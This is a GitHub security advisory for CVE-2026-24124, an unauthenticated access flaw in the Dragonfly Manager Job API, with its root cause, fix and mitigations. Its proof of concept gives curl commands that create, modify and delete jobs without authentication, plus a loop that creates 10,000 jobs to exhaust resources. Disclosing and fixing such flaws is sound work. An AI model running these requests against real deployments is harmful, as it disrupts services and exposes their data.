Skip to content

Dragonfly Manager Job API Unauthenticated Access

High severity GitHub Reviewed Published Jan 22, 2026 in dragonflyoss/dragonfly • Updated Jan 22, 2026

Package

gomod d7y.io/dragonfly/v2 (Go)

Affected versions

< 2.4.0

Patched versions

2.4.0

Description

Summary

Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.

Affected Products

  • Product: Dragonfly
  • Component: Manager (REST API)
  • Affected Versions: v2.x (based on source code analysis, including v2.4.0)
  • Affected Endpoints: /api/v1/jobs

Vulnerability Details

Description

Dragonfly Manager's Job API endpoints (/api/v1/jobs) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:

  1. List all jobs (GET /api/v1/jobs)
  2. Create new jobs (POST /api/v1/jobs)
  3. Query job details (GET /api/v1/jobs/:id)
  4. Modify jobs (PATCH /api/v1/jobs/:id)
  5. Delete jobs (DELETE /api/v1/jobs/:id)

Technical Root Cause

In the source code file manager/router/router.go at lines 204-211, the Job API route group lacks authentication middleware:

// TODO Add auth to the following routes and fix the tests.
// Job.
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

In contrast, other API endpoints (such as /clusters) are correctly configured with authentication:

// manager/router/router.go:143
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)

The developer left a TODO comment in the code, indicating this is a known but unresolved issue.

Proof of Concept

Environment Setup

Prerequisites

  • Kubernetes cluster (Kind/Minikube/GKE, etc.)
  • Helm 3.8.0+
  • kubectl
  • curl and jq

Deployment Steps

  1. Add Dragonfly Helm Repository
helm repo add dragonfly https://dragonflyoss.github.io/helm-charts/
helm repo update
  1. Generate Deployment Manifest
helm template dragonfly dragonfly/dragonfly \
  --namespace dragonfly-system \
  --set manager.replicas=1 \
  --set scheduler.replicas=1 \
  --set seedClient.replicas=1 \
  --set client.enable=false > /tmp/dragonfly-manifest.yaml
  1. Deploy to Kubernetes
kubectl create namespace dragonfly-system
kubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system
kubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s

Expected Output:

namespace/dragonfly-system created
[... resource creation messages ...]
pod/dragonfly-manager-5cc788d64b-grpbk condition met
pod/dragonfly-mysql-0 condition met
pod/dragonfly-redis-master-0 condition met
pod/dragonfly-scheduler-0 condition met
pod/dragonfly-seed-client-0 condition met
  1. Setup Port Forwarding
kubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 &

Exploitation Steps

Step 1: Verify Unauthenticated Access

Command:

curl -s -X GET http://localhost:8080/api/v1/jobs

Actual Output:

[]

HTTP Status Code: 200 OK

Analysis: The API returns a successful response instead of 401 Unauthorized, confirming the lack of authentication.

Step 2: Create Unauthorized Job

Command:

curl -s -X POST http://localhost:8080/api/v1/jobs \
  -H "Content-Type: application/json" \
  -d '{
    "type": "preheat",
    "args": {
      "type": "file",
      "url": "http://example.com/test-file.txt"
    },
    "scheduler_cluster_ids": [1]
  }' | jq .

Actual Output:

{
  "id": 2,
  "created_at": "2026-01-17T16:34:22.497Z",
  "updated_at": "2026-01-17T16:34:22.497Z",
  "task_id": "group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9",
  "type": "preheat",
  "state": "PENDING",
  "args": {
    "type": "file",
    "url": "http://example.com/test-file.txt",
    "scope": "single_seed_peer",
    "timeout": 3600000000000
  },
  "user_id": 0,
  "scheduler_clusters": [
    {
      "id": 1,
      "name": "cluster-1",
      "is_default": true
    }
  ]
}

HTTP Status Code: 200 OK

Analysis: Successfully created a Job (ID: 2) without any authentication token.

Step 3: Query Job Details

Command:

curl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state'

Actual Output:

2
"preheat"
"PENDING"

HTTP Status Code: 200 OK

Step 4: Modify Job

Command:

curl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \
  -H "Content-Type: application/json" \
  -d '{"bio": "Modified by unauthenticated attacker"}' | jq '.id, .bio'

Actual Output:

2
"Modified by unauthenticated attacker"

HTTP Status Code: 200 OK

Step 5: Delete Job

Command:

curl -s -o /dev/null -w "%{http_code}" -X DELETE http://localhost:8080/api/v1/jobs/2

Actual Output:

200

HTTP Status Code: 200 OK

Step 6: Comparison Test - Authenticated Endpoint

Command:

curl -s -X GET http://localhost:8080/api/v1/clusters | jq .

Actual Output:

{
  "message": "Unauthorized"
}

HTTP Status Code: 401 Unauthorized

Analysis: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration.

Automated POC Script

Complete automated verification script available at:

  • Script: poc.sh
  • Output Log: poc_output.log

Execution Summary:

[Test 1] GET /api/v1/jobs - HTTP 200  VULNERABLE
[Test 2] POST /api/v1/jobs - HTTP 200  VULNERABLE (Job ID: 2)
[Test 3] GET /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 4] PATCH /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 5] DELETE /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 6] GET /api/v1/clusters - HTTP 401  EXPECTED (comparison test)

Impact Analysis

Direct Impact

  1. Unauthorized Job Management: Attackers can fully control the Job lifecycle (CRUD operations)
  2. Information Disclosure: Can query all jobs, potentially exposing internal URLs, configurations, and business logic
  3. Service Disruption: Can delete legitimate jobs, affecting normal file distribution services
  4. Resource Exhaustion: Can create massive numbers of jobs leading to system resource exhaustion (DoS)

Potential Attack Scenarios

  1. Resource Exhaustion Attack
# Create 10,000 jobs to exhaust resources
for i in $(seq 1 10000); do
  curl -X POST http://manager:8080/api/v1/jobs \
    -H "Content-Type: application/json" \
    -d "{\"type\":\"preheat\",\"args\":{\"type\":\"file\",\"url\":\"http://example.com/file-${i}.txt\"},\"scheduler_cluster_ids\":[1]}" &
done

  1. SSRF Risk: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist)

  2. Business Logic Disruption: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality

Affected Deployment Scenarios

  • Manager API exposed on the public internet or untrusted networks
  • Malicious users or compromised systems in internal networks
  • Tenant isolation failures in multi-tenant environments

Remediation

Recommended Fix

Add authentication and authorization middleware to the Job API in the manager/router/router.go file:

// Before Fix (lines 204-211)
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

// After Fix
job := apiv1.Group("/jobs", jwt.MiddlewareFunc(), rbac)
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

Temporary Mitigation

Before the fix is released, the following mitigation measures can be taken:

  1. Network Isolation: Restrict network access to the Manager API

    • Use firewall rules to limit source IPs
    • Only allow trusted internal networks to access
    • Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication

  2. API Gateway: Deploy an API gateway in front of Manager for authentication

    • Use reverse proxies like Nginx/Kong/Traefik
    • Configure OAuth2/JWT validation

  3. Monitoring and Alerting: Monitor abnormal access patterns to Job API

    • Log all Job API calls
    • Set up alerts for abnormal job creation/deletion

Verify Fix

After the fix, all unauthenticated requests should return 401 Unauthorized:

curl -s -X GET http://localhost:8080/api/v1/jobs

Expected Output:

{
  "message": "Unauthorized"
}

Appendix: Complete Verification Logs

Deployment Verification Logs

$ kubectl -n dragonfly-system get pods
NAME                                 READY   STATUS    RESTARTS   AGE
dragonfly-manager-5cc788d64b-grpbk   1/1     Running   0          5m
dragonfly-mysql-0                    1/1     Running   0          5m
dragonfly-redis-master-0             1/1     Running   0          5m
dragonfly-redis-replicas-0           1/1     Running   0          5m
dragonfly-scheduler-0                1/1     Running   0          5m
dragonfly-seed-client-0              1/1     Running   0          5m

$ kubectl -n dragonfly-system get svc dragonfly-manager
NAME                TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)              AGE
dragonfly-manager   ClusterIP   10.96.240.126   <none>        8080/TCP,65003/TCP   5m

POC Execution Complete Logs

See poc_output.log file for details.

==========================================
VUL-001: Job API Unauthenticated Access POC
==========================================

[Test 1] GET /api/v1/jobs (No Authentication)
HTTP Status: 200
Response: []
✅ VULNERABLE: Endpoint accessible without authentication

[Test 2] POST /api/v1/jobs (No Authentication)
HTTP Status: 200
Job ID: 2
✅ VULNERABLE: Job created without authentication

[Test 3] GET /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job details accessible without authentication

[Test 4] PATCH /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job updated without authentication

[Test 5] DELETE /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job deleted without authentication

[Test 6] GET /api/v1/clusters (Should Require Authentication)
HTTP Status: 401
Response: {"message":"Unauthorized"}
✅ EXPECTED: Endpoint correctly requires authentication

==========================================
POC Execution Complete
==========================================

References

@gaius-qi gaius-qi published to dragonflyoss/dragonfly Jan 22, 2026
Published to the GitHub Advisory Database Jan 22, 2026
Reviewed Jan 22, 2026
Last updated Jan 22, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

CVE ID

CVE-2026-24124

GHSA ID

GHSA-j8hf-cp34-g4j7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.